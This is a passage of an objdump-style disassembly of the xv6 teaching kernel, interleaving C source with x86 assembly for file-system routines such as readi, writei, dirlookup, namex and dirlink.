80101c7c: 8b 75 0c mov 0xc(%ebp),%esi
80101c7f: 8b 7d 14 mov 0x14(%ebp),%edi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101c82: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
{
80101c87: 89 75 e0 mov %esi,-0x20(%ebp)
80101c8a: 89 45 d8 mov %eax,-0x28(%ebp)
80101c8d: 8b 75 10 mov 0x10(%ebp),%esi
80101c90: 89 7d e4 mov %edi,-0x1c(%ebp)
if(ip->type == T_DEV){
80101c93: 0f 84 a7 00 00 00 je 80101d40 <readi+0xd0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
80101c99: 8b 45 d8 mov -0x28(%ebp),%eax
80101c9c: 8b 40 58 mov 0x58(%eax),%eax
80101c9f: 39 c6 cmp %eax,%esi
80101ca1: 0f 87 ba 00 00 00 ja 80101d61 <readi+0xf1>
80101ca7: 8b 7d e4 mov -0x1c(%ebp),%edi
80101caa: 89 f9 mov %edi,%ecx
80101cac: 01 f1 add %esi,%ecx
80101cae: 0f 82 ad 00 00 00 jb 80101d61 <readi+0xf1>
return -1;
if(off + n > ip->size)
n = ip->size - off;
80101cb4: 89 c2 mov %eax,%edx
80101cb6: 29 f2 sub %esi,%edx
80101cb8: 39 c8 cmp %ecx,%eax
80101cba: 0f 43 d7 cmovae %edi,%edx
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101cbd: 31 ff xor %edi,%edi
80101cbf: 85 d2 test %edx,%edx
n = ip->size - off;
80101cc1: 89 55 e4 mov %edx,-0x1c(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101cc4: 74 6c je 80101d32 <readi+0xc2>
80101cc6: 8d 76 00 lea 0x0(%esi),%esi
80101cc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101cd0: 8b 5d d8 mov -0x28(%ebp),%ebx
80101cd3: 89 f2 mov %esi,%edx
80101cd5: c1 ea 09 shr $0x9,%edx
80101cd8: 89 d8 mov %ebx,%eax
80101cda: e8 11 f9 ff ff call 801015f0 <bmap>
80101cdf: 83 ec 08 sub $0x8,%esp
80101ce2: 50 push %eax
80101ce3: ff 33 pushl (%ebx)
80101ce5: e8 e6 e3 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101cea: 8b 5d e4 mov -0x1c(%ebp),%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ced: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101cef: 89 f0 mov %esi,%eax
80101cf1: 25 ff 01 00 00 and $0x1ff,%eax
80101cf6: b9 00 02 00 00 mov $0x200,%ecx
80101cfb: 83 c4 0c add $0xc,%esp
80101cfe: 29 c1 sub %eax,%ecx
memmove(dst, bp->data + off%BSIZE, m);
80101d00: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
80101d04: 89 55 dc mov %edx,-0x24(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101d07: 29 fb sub %edi,%ebx
80101d09: 39 d9 cmp %ebx,%ecx
80101d0b: 0f 46 d9 cmovbe %ecx,%ebx
memmove(dst, bp->data + off%BSIZE, m);
80101d0e: 53 push %ebx
80101d0f: 50 push %eax
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101d10: 01 df add %ebx,%edi
memmove(dst, bp->data + off%BSIZE, m);
80101d12: ff 75 e0 pushl -0x20(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101d15: 01 de add %ebx,%esi
memmove(dst, bp->data + off%BSIZE, m);
80101d17: e8 f4 2a 00 00 call 80104810 <memmove>
brelse(bp);
80101d1c: 8b 55 dc mov -0x24(%ebp),%edx
80101d1f: 89 14 24 mov %edx,(%esp)
80101d22: e8 b9 e4 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101d27: 01 5d e0 add %ebx,-0x20(%ebp)
80101d2a: 83 c4 10 add $0x10,%esp
80101d2d: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101d30: 77 9e ja 80101cd0 <readi+0x60>
}
return n;
80101d32: 8b 45 e4 mov -0x1c(%ebp),%eax
}
80101d35: 8d 65 f4 lea -0xc(%ebp),%esp
80101d38: 5b pop %ebx
80101d39: 5e pop %esi
80101d3a: 5f pop %edi
80101d3b: 5d pop %ebp
80101d3c: c3 ret
80101d3d: 8d 76 00 lea 0x0(%esi),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101d40: 0f bf 40 52 movswl 0x52(%eax),%eax
80101d44: 66 83 f8 09 cmp $0x9,%ax
80101d48: 77 17 ja 80101d61 <readi+0xf1>
80101d4a: 8b 04 c5 20 0c 11 80 mov -0x7feef3e0(,%eax,8),%eax
80101d51: 85 c0 test %eax,%eax
80101d53: 74 0c je 80101d61 <readi+0xf1>
return devsw[ip->major].read(ip, dst, n);
80101d55: 89 7d 10 mov %edi,0x10(%ebp)
}
80101d58: 8d 65 f4 lea -0xc(%ebp),%esp
80101d5b: 5b pop %ebx
80101d5c: 5e pop %esi
80101d5d: 5f pop %edi
80101d5e: 5d pop %ebp
return devsw[ip->major].read(ip, dst, n);
80101d5f: ff e0 jmp *%eax
return -1;
80101d61: b8 ff ff ff ff mov $0xffffffff,%eax
80101d66: eb cd jmp 80101d35 <readi+0xc5>
80101d68: 90 nop
80101d69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101d70 <writei>:
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101d70: 55 push %ebp
80101d71: 89 e5 mov %esp,%ebp
80101d73: 57 push %edi
80101d74: 56 push %esi
80101d75: 53 push %ebx
80101d76: 83 ec 1c sub $0x1c,%esp
80101d79: 8b 45 08 mov 0x8(%ebp),%eax
80101d7c: 8b 75 0c mov 0xc(%ebp),%esi
80101d7f: 8b 7d 14 mov 0x14(%ebp),%edi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101d82: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
{
80101d87: 89 75 dc mov %esi,-0x24(%ebp)
80101d8a: 89 45 d8 mov %eax,-0x28(%ebp)
80101d8d: 8b 75 10 mov 0x10(%ebp),%esi
80101d90: 89 7d e0 mov %edi,-0x20(%ebp)
if(ip->type == T_DEV){
80101d93: 0f 84 b7 00 00 00 je 80101e50 <writei+0xe0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101d99: 8b 45 d8 mov -0x28(%ebp),%eax
80101d9c: 39 70 58 cmp %esi,0x58(%eax)
80101d9f: 0f 82 eb 00 00 00 jb 80101e90 <writei+0x120>
80101da5: 8b 7d e0 mov -0x20(%ebp),%edi
80101da8: 31 d2 xor %edx,%edx
80101daa: 89 f8 mov %edi,%eax
80101dac: 01 f0 add %esi,%eax
80101dae: 0f 92 c2 setb %dl
return -1;
if(off + n > MAXFILE*BSIZE)
80101db1: 3d 00 18 01 00 cmp $0x11800,%eax
80101db6: 0f 87 d4 00 00 00 ja 80101e90 <writei+0x120>
80101dbc: 85 d2 test %edx,%edx
80101dbe: 0f 85 cc 00 00 00 jne 80101e90 <writei+0x120>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101dc4: 85 ff test %edi,%edi
80101dc6: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101dcd: 74 72 je 80101e41 <writei+0xd1>
80101dcf: 90 nop
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101dd0: 8b 7d d8 mov -0x28(%ebp),%edi
80101dd3: 89 f2 mov %esi,%edx
80101dd5: c1 ea 09 shr $0x9,%edx
80101dd8: 89 f8 mov %edi,%eax
80101dda: e8 11 f8 ff ff call 801015f0 <bmap>
80101ddf: 83 ec 08 sub $0x8,%esp
80101de2: 50 push %eax
80101de3: ff 37 pushl (%edi)
80101de5: e8 e6 e2 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101dea: 8b 5d e0 mov -0x20(%ebp),%ebx
80101ded: 2b 5d e4 sub -0x1c(%ebp),%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101df0: 89 c7 mov %eax,%edi
m = min(n - tot, BSIZE - off%BSIZE);
80101df2: 89 f0 mov %esi,%eax
80101df4: b9 00 02 00 00 mov $0x200,%ecx
80101df9: 83 c4 0c add $0xc,%esp
80101dfc: 25 ff 01 00 00 and $0x1ff,%eax
80101e01: 29 c1 sub %eax,%ecx
memmove(bp->data + off%BSIZE, src, m);
80101e03: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax
m = min(n - tot, BSIZE - off%BSIZE);
80101e07: 39 d9 cmp %ebx,%ecx
80101e09: 0f 46 d9 cmovbe %ecx,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101e0c: 53 push %ebx
80101e0d: ff 75 dc pushl -0x24(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101e10: 01 de add %ebx,%esi
memmove(bp->data + off%BSIZE, src, m);
80101e12: 50 push %eax
80101e13: e8 f8 29 00 00 call 80104810 <memmove>
log_write(bp);
80101e18: 89 3c 24 mov %edi,(%esp)
80101e1b: e8 60 12 00 00 call 80103080 <log_write>
brelse(bp);
80101e20: 89 3c 24 mov %edi,(%esp)
80101e23: e8 b8 e3 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101e28: 01 5d e4 add %ebx,-0x1c(%ebp)
80101e2b: 01 5d dc add %ebx,-0x24(%ebp)
80101e2e: 83 c4 10 add $0x10,%esp
80101e31: 8b 45 e4 mov -0x1c(%ebp),%eax
80101e34: 39 45 e0 cmp %eax,-0x20(%ebp)
80101e37: 77 97 ja 80101dd0 <writei+0x60>
}
if(n > 0 && off > ip->size){
80101e39: 8b 45 d8 mov -0x28(%ebp),%eax
80101e3c: 3b 70 58 cmp 0x58(%eax),%esi
80101e3f: 77 37 ja 80101e78 <writei+0x108>
ip->size = off;
iupdate(ip);
}
return n;
80101e41: 8b 45 e0 mov -0x20(%ebp),%eax
}
80101e44: 8d 65 f4 lea -0xc(%ebp),%esp
80101e47: 5b pop %ebx
80101e48: 5e pop %esi
80101e49: 5f pop %edi
80101e4a: 5d pop %ebp
80101e4b: c3 ret
80101e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101e50: 0f bf 40 52 movswl 0x52(%eax),%eax
80101e54: 66 83 f8 09 cmp $0x9,%ax
80101e58: 77 36 ja 80101e90 <writei+0x120>
80101e5a: 8b 04 c5 24 0c 11 80 mov -0x7feef3dc(,%eax,8),%eax
80101e61: 85 c0 test %eax,%eax
80101e63: 74 2b je 80101e90 <writei+0x120>
return devsw[ip->major].write(ip, src, n);
80101e65: 89 7d 10 mov %edi,0x10(%ebp)
}
80101e68: 8d 65 f4 lea -0xc(%ebp),%esp
80101e6b: 5b pop %ebx
80101e6c: 5e pop %esi
80101e6d: 5f pop %edi
80101e6e: 5d pop %ebp
return devsw[ip->major].write(ip, src, n);
80101e6f: ff e0 jmp *%eax
80101e71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ip->size = off;
80101e78: 8b 45 d8 mov -0x28(%ebp),%eax
iupdate(ip);
80101e7b: 83 ec 0c sub $0xc,%esp
ip->size = off;
80101e7e: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
80101e81: 50 push %eax
80101e82: e8 59 fa ff ff call 801018e0 <iupdate>
80101e87: 83 c4 10 add $0x10,%esp
80101e8a: eb b5 jmp 80101e41 <writei+0xd1>
80101e8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80101e90: b8 ff ff ff ff mov $0xffffffff,%eax
80101e95: eb ad jmp 80101e44 <writei+0xd4>
80101e97: 89 f6 mov %esi,%esi
80101e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ea0 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101ea0: 55 push %ebp
80101ea1: 89 e5 mov %esp,%ebp
80101ea3: 83 ec 0c sub $0xc,%esp
return strncmp(s, t, DIRSIZ);
80101ea6: 6a 0e push $0xe
80101ea8: ff 75 0c pushl 0xc(%ebp)
80101eab: ff 75 08 pushl 0x8(%ebp)
80101eae: e8 cd 29 00 00 call 80104880 <strncmp>
}
80101eb3: c9 leave
80101eb4: c3 ret
80101eb5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101eb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ec0 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101ec0: 55 push %ebp
80101ec1: 89 e5 mov %esp,%ebp
80101ec3: 57 push %edi
80101ec4: 56 push %esi
80101ec5: 53 push %ebx
80101ec6: 83 ec 1c sub $0x1c,%esp
80101ec9: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101ecc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101ed1: 0f 85 85 00 00 00 jne 80101f5c <dirlookup+0x9c>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101ed7: 8b 53 58 mov 0x58(%ebx),%edx
80101eda: 31 ff xor %edi,%edi
80101edc: 8d 75 d8 lea -0x28(%ebp),%esi
80101edf: 85 d2 test %edx,%edx
80101ee1: 74 3e je 80101f21 <dirlookup+0x61>
80101ee3: 90 nop
80101ee4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101ee8: 6a 10 push $0x10
80101eea: 57 push %edi
80101eeb: 56 push %esi
80101eec: 53 push %ebx
80101eed: e8 7e fd ff ff call 80101c70 <readi>
80101ef2: 83 c4 10 add $0x10,%esp
80101ef5: 83 f8 10 cmp $0x10,%eax
80101ef8: 75 55 jne 80101f4f <dirlookup+0x8f>
panic("dirlookup read");
if(de.inum == 0)
80101efa: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101eff: 74 18 je 80101f19 <dirlookup+0x59>
return strncmp(s, t, DIRSIZ);
80101f01: 8d 45 da lea -0x26(%ebp),%eax
80101f04: 83 ec 04 sub $0x4,%esp
80101f07: 6a 0e push $0xe
80101f09: 50 push %eax
80101f0a: ff 75 0c pushl 0xc(%ebp)
80101f0d: e8 6e 29 00 00 call 80104880 <strncmp>
continue;
if(namecmp(name, de.name) == 0){
80101f12: 83 c4 10 add $0x10,%esp
80101f15: 85 c0 test %eax,%eax
80101f17: 74 17 je 80101f30 <dirlookup+0x70>
for(off = 0; off < dp->size; off += sizeof(de)){
80101f19: 83 c7 10 add $0x10,%edi
80101f1c: 3b 7b 58 cmp 0x58(%ebx),%edi
80101f1f: 72 c7 jb 80101ee8 <dirlookup+0x28>
return iget(dp->dev, inum);
}
}
return 0;
}
80101f21: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
80101f24: 31 c0 xor %eax,%eax
}
80101f26: 5b pop %ebx
80101f27: 5e pop %esi
80101f28: 5f pop %edi
80101f29: 5d pop %ebp
80101f2a: c3 ret
80101f2b: 90 nop
80101f2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(poff)
80101f30: 8b 45 10 mov 0x10(%ebp),%eax
80101f33: 85 c0 test %eax,%eax
80101f35: 74 05 je 80101f3c <dirlookup+0x7c>
*poff = off;
80101f37: 8b 45 10 mov 0x10(%ebp),%eax
80101f3a: 89 38 mov %edi,(%eax)
inum = de.inum;
80101f3c: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101f40: 8b 03 mov (%ebx),%eax
80101f42: e8 d9 f5 ff ff call 80101520 <iget>
}
80101f47: 8d 65 f4 lea -0xc(%ebp),%esp
80101f4a: 5b pop %ebx
80101f4b: 5e pop %esi
80101f4c: 5f pop %edi
80101f4d: 5d pop %ebp
80101f4e: c3 ret
panic("dirlookup read");
80101f4f: 83 ec 0c sub $0xc,%esp
80101f52: 68 19 73 10 80 push $0x80107319
80101f57: e8 34 e4 ff ff call 80100390 <panic>
panic("dirlookup not DIR");
80101f5c: 83 ec 0c sub $0xc,%esp
80101f5f: 68 07 73 10 80 push $0x80107307
80101f64: e8 27 e4 ff ff call 80100390 <panic>
80101f69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101f70 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101f70: 55 push %ebp
80101f71: 89 e5 mov %esp,%ebp
80101f73: 57 push %edi
80101f74: 56 push %esi
80101f75: 53 push %ebx
80101f76: 89 cf mov %ecx,%edi
80101f78: 89 c3 mov %eax,%ebx
80101f7a: 83 ec 1c sub $0x1c,%esp
struct inode *ip, *next;
if(*path == '/')
80101f7d: 80 38 2f cmpb $0x2f,(%eax)
{
80101f80: 89 55 e0 mov %edx,-0x20(%ebp)
if(*path == '/')
80101f83: 0f 84 67 01 00 00 je 801020f0 <namex+0x180>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101f89: e8 62 1b 00 00 call 80103af0 <myproc>
acquire(&icache.lock);
80101f8e: 83 ec 0c sub $0xc,%esp
ip = idup(myproc()->cwd);
80101f91: 8b 70 68 mov 0x68(%eax),%esi
acquire(&icache.lock);
80101f94: 68 a0 0c 11 80 push $0x80110ca0
80101f99: e8 b2 26 00 00 call 80104650 <acquire>
ip->ref++;
80101f9e: 83 46 08 01 addl $0x1,0x8(%esi)
release(&icache.lock);
80101fa2: c7 04 24 a0 0c 11 80 movl $0x80110ca0,(%esp)
80101fa9: e8 62 27 00 00 call 80104710 <release>
80101fae: 83 c4 10 add $0x10,%esp
80101fb1: eb 08 jmp 80101fbb <namex+0x4b>
80101fb3: 90 nop
80101fb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
path++;
80101fb8: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80101fbb: 0f b6 03 movzbl (%ebx),%eax
80101fbe: 3c 2f cmp $0x2f,%al
80101fc0: 74 f6 je 80101fb8 <namex+0x48>
if(*path == 0)
80101fc2: 84 c0 test %al,%al
80101fc4: 0f 84 ee 00 00 00 je 801020b8 <namex+0x148>
while(*path != '/' && *path != 0)
80101fca: 0f b6 03 movzbl (%ebx),%eax
80101fcd: 3c 2f cmp $0x2f,%al
80101fcf: 0f 84 b3 00 00 00 je 80102088 <namex+0x118>
80101fd5: 84 c0 test %al,%al
80101fd7: 89 da mov %ebx,%edx
80101fd9: 75 09 jne 80101fe4 <namex+0x74>
80101fdb: e9 a8 00 00 00 jmp 80102088 <namex+0x118>
80101fe0: 84 c0 test %al,%al
80101fe2: 74 0a je 80101fee <namex+0x7e>
path++;
80101fe4: 83 c2 01 add $0x1,%edx
while(*path != '/' && *path != 0)
80101fe7: 0f b6 02 movzbl (%edx),%eax
80101fea: 3c 2f cmp $0x2f,%al
80101fec: 75 f2 jne 80101fe0 <namex+0x70>
80101fee: 89 d1 mov %edx,%ecx
80101ff0: 29 d9 sub %ebx,%ecx
if(len >= DIRSIZ)
80101ff2: 83 f9 0d cmp $0xd,%ecx
80101ff5: 0f 8e 91 00 00 00 jle 8010208c <namex+0x11c>
memmove(name, s, DIRSIZ);
80101ffb: 83 ec 04 sub $0x4,%esp
80101ffe: 89 55 e4 mov %edx,-0x1c(%ebp)
80102001: 6a 0e push $0xe
80102003: 53 push %ebx
80102004: 57 push %edi
80102005: e8 06 28 00 00 call 80104810 <memmove>
path++;
8010200a: 8b 55 e4 mov -0x1c(%ebp),%edx
memmove(name, s, DIRSIZ);
8010200d: 83 c4 10 add $0x10,%esp
path++;
80102010: 89 d3 mov %edx,%ebx
while(*path == '/')
80102012: 80 3a 2f cmpb $0x2f,(%edx)
80102015: 75 11 jne 80102028 <namex+0xb8>
80102017: 89 f6 mov %esi,%esi
80102019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
path++;
80102020: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80102023: 80 3b 2f cmpb $0x2f,(%ebx)
80102026: 74 f8 je 80102020 <namex+0xb0>
while((path = skipelem(path, name)) != 0){
ilock(ip);
80102028: 83 ec 0c sub $0xc,%esp
8010202b: 56 push %esi
8010202c: e8 5f f9 ff ff call 80101990 <ilock>
if(ip->type != T_DIR){
80102031: 83 c4 10 add $0x10,%esp
80102034: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80102039: 0f 85 91 00 00 00 jne 801020d0 <namex+0x160>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
8010203f: 8b 55 e0 mov -0x20(%ebp),%edx
80102042: 85 d2 test %edx,%edx
80102044: 74 09 je 8010204f <namex+0xdf>
80102046: 80 3b 00 cmpb $0x0,(%ebx)
80102049: 0f 84 b7 00 00 00 je 80102106 <namex+0x196>
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
8010204f: 83 ec 04 sub $0x4,%esp
80102052: 6a 00 push $0x0
80102054: 57 push %edi
80102055: 56 push %esi
80102056: e8 65 fe ff ff call 80101ec0 <dirlookup>
8010205b: 83 c4 10 add $0x10,%esp
8010205e: 85 c0 test %eax,%eax
80102060: 74 6e je 801020d0 <namex+0x160>
iunlock(ip);
80102062: 83 ec 0c sub $0xc,%esp
80102065: 89 45 e4 mov %eax,-0x1c(%ebp)
80102068: 56 push %esi
80102069: e8 02 fa ff ff call 80101a70 <iunlock>
iput(ip);
8010206e: 89 34 24 mov %esi,(%esp)
80102071: e8 4a fa ff ff call 80101ac0 <iput>
80102076: 8b 45 e4 mov -0x1c(%ebp),%eax
80102079: 83 c4 10 add $0x10,%esp
8010207c: 89 c6 mov %eax,%esi
8010207e: e9 38 ff ff ff jmp 80101fbb <namex+0x4b>
80102083: 90 nop
80102084: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(*path != '/' && *path != 0)
80102088: 89 da mov %ebx,%edx
8010208a: 31 c9 xor %ecx,%ecx
memmove(name, s, len);
8010208c: 83 ec 04 sub $0x4,%esp
8010208f: 89 55 dc mov %edx,-0x24(%ebp)
80102092: 89 4d e4 mov %ecx,-0x1c(%ebp)
80102095: 51 push %ecx
80102096: 53 push %ebx
80102097: 57 push %edi
80102098: e8 73 27 00 00 call 80104810 <memmove>
name[len] = 0;
8010209d: 8b 4d e4 mov -0x1c(%ebp),%ecx
801020a0: 8b 55 dc mov -0x24(%ebp),%edx
801020a3: 83 c4 10 add $0x10,%esp
801020a6: c6 04 0f 00 movb $0x0,(%edi,%ecx,1)
801020aa: 89 d3 mov %edx,%ebx
801020ac: e9 61 ff ff ff jmp 80102012 <namex+0xa2>
801020b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
801020b8: 8b 45 e0 mov -0x20(%ebp),%eax
801020bb: 85 c0 test %eax,%eax
801020bd: 75 5d jne 8010211c <namex+0x1ac>
iput(ip);
return 0;
}
return ip;
}
801020bf: 8d 65 f4 lea -0xc(%ebp),%esp
801020c2: 89 f0 mov %esi,%eax
801020c4: 5b pop %ebx
801020c5: 5e pop %esi
801020c6: 5f pop %edi
801020c7: 5d pop %ebp
801020c8: c3 ret
801020c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
iunlock(ip);
801020d0: 83 ec 0c sub $0xc,%esp
801020d3: 56 push %esi
801020d4: e8 97 f9 ff ff call 80101a70 <iunlock>
iput(ip);
801020d9: 89 34 24 mov %esi,(%esp)
return 0;
801020dc: 31 f6 xor %esi,%esi
iput(ip);
801020de: e8 dd f9 ff ff call 80101ac0 <iput>
return 0;
801020e3: 83 c4 10 add $0x10,%esp
}
801020e6: 8d 65 f4 lea -0xc(%ebp),%esp
801020e9: 89 f0 mov %esi,%eax
801020eb: 5b pop %ebx
801020ec: 5e pop %esi
801020ed: 5f pop %edi
801020ee: 5d pop %ebp
801020ef: c3 ret
ip = iget(ROOTDEV, ROOTINO);
801020f0: ba 01 00 00 00 mov $0x1,%edx
801020f5: b8 01 00 00 00 mov $0x1,%eax
801020fa: e8 21 f4 ff ff call 80101520 <iget>
801020ff: 89 c6 mov %eax,%esi
80102101: e9 b5 fe ff ff jmp 80101fbb <namex+0x4b>
iunlock(ip);
80102106: 83 ec 0c sub $0xc,%esp
80102109: 56 push %esi
8010210a: e8 61 f9 ff ff call 80101a70 <iunlock>
return ip;
8010210f: 83 c4 10 add $0x10,%esp
}
80102112: 8d 65 f4 lea -0xc(%ebp),%esp
80102115: 89 f0 mov %esi,%eax
80102117: 5b pop %ebx
80102118: 5e pop %esi
80102119: 5f pop %edi
8010211a: 5d pop %ebp
8010211b: c3 ret
iput(ip);
8010211c: 83 ec 0c sub $0xc,%esp
8010211f: 56 push %esi
return 0;
80102120: 31 f6 xor %esi,%esi
iput(ip);
80102122: e8 99 f9 ff ff call 80101ac0 <iput>
return 0;
80102127: 83 c4 10 add $0x10,%esp
8010212a: eb 93 jmp 801020bf <namex+0x14f>
8010212c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102130 <dirlink>:
{
80102130: 55 push %ebp
80102131: 89 e5 mov %esp,%ebp
80102133: 57 push %edi
80102134: 56 push %esi
80102135: 53 push %ebx
80102136: 83 ec 20 sub $0x20,%esp
80102139: 8b 5d 08 mov 0x8(%ebp),%ebx
if((ip = dirlookup(dp, name, 0)) != 0){
8010213c: 6a 00 push $0x0
8010213e: ff 75 0c pushl 0xc(%ebp)
80102141: 53 push %ebx
80102142: e8 79 fd ff ff call 80101ec0 <dirlookup>
80102147: 83 c4 10 add $0x10,%esp
8010214a: 85 c0 test %eax,%eax
8010214c: 75 67 jne 801021b5 <dirlink+0x85>
for(off = 0; off < dp->size; off += sizeof(de)){
8010214e: 8b 7b 58 mov 0x58(%ebx),%edi
80102151: 8d 75 d8 lea -0x28(%ebp),%esi
80102154: 85 ff test %edi,%edi
80102156: 74 29 je 80102181 <dirlink+0x51>
80102158: 31 ff xor %edi,%edi
8010215a: 8d 75 d8 lea -0x28(%ebp),%esi
8010215d: eb 09 jmp 80102168 <dirlink+0x38>
8010215f: 90 nop
80102160: 83 c7 10 add $0x10,%edi
80102163: 3b 7b 58 cmp 0x58(%ebx),%edi
80102166: 73 19 jae 80102181 <dirlink+0x51>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80102168: 6a 10 push $0x10
8010216a: 57 push %edi
8010216b: 56 push %esi
8010216c: 53 push %ebx
8010216d: e8 fe fa ff ff call 80101c70 <readi>
80102172: 83 c4 10 add $0x10,%esp
80102175: 83 f8 10 cmp $0x10,%eax
80102178: 75 4e jne 801021c8 <dirlink+0x98>
if(de.inum == 0)
8010217a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
8010217f: 75 df jne 80102160 <dirlink+0x30>
strncpy(de.name, name, DIRSIZ);
80102181: 8d 45 da lea -0x26(%ebp),%eax
80102184: 83 ec 04 sub $0x4,%esp
80102187: 6a 0e push $0xe
80102189: ff 75 0c pushl 0xc(%ebp)
8010218c: 50 push %eax
8010218d: e8 4e 27 00 00 call 801048e0 <strncpy>
de.inum = inum;
80102192: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80102195: 6a 10 push $0x10
80102197: 57 push %edi
80102198: 56 push %esi
80102199: 53 push %ebx
de.inum = inum;
8010219a: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010219e: e8 cd fb ff ff call 80101d70 <writei>
801021a3: 83 c4 20 add $0x20,%esp
801021a6: 83 f8 10 cmp $0x10,%eax
801021a9: 75 2a jne 801021d5 <dirlink+0xa5>
return 0;
801021ab: 31 c0 xor %eax,%eax
}
801021ad: 8d 65 f4 lea -0xc(%ebp),%esp
801021b0: 5b pop %ebx
801021b1: 5e pop %esi
801021b2: 5f pop %edi
801021b3: 5d pop %ebp
801021b4: c3 ret
iput(ip);
801021b5: 83 ec 0c sub $0xc,%esp
801021b8: 50 push %eax
801021b9: e8 02 f9 ff ff call 80101ac0 <iput>
return -1;
801021be: 83 c4 10 add $0x10,%esp
801021c1: b8 ff ff ff ff mov $0xffffffff,%eax
801021c6: eb e5 jmp 801021ad <dirlink+0x7d>
panic("dirlink read");
801021c8: 83 ec 0c sub $0xc,%esp
801021cb: 68 28 73 10 80 push $0x80107328
801021d0: e8 bb e1 ff ff call 80100390 <panic>
panic("dirlink");
801021d5: 83 ec 0c sub $0xc,%esp
801021d8: 68 1e 79 10 80 push $0x8010791e
801021dd: e8 ae e1 ff ff call 80100390 <panic>
801021e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801021e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801021f0 <namei>:
struct inode*
namei(char *path)
{
801021f0: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
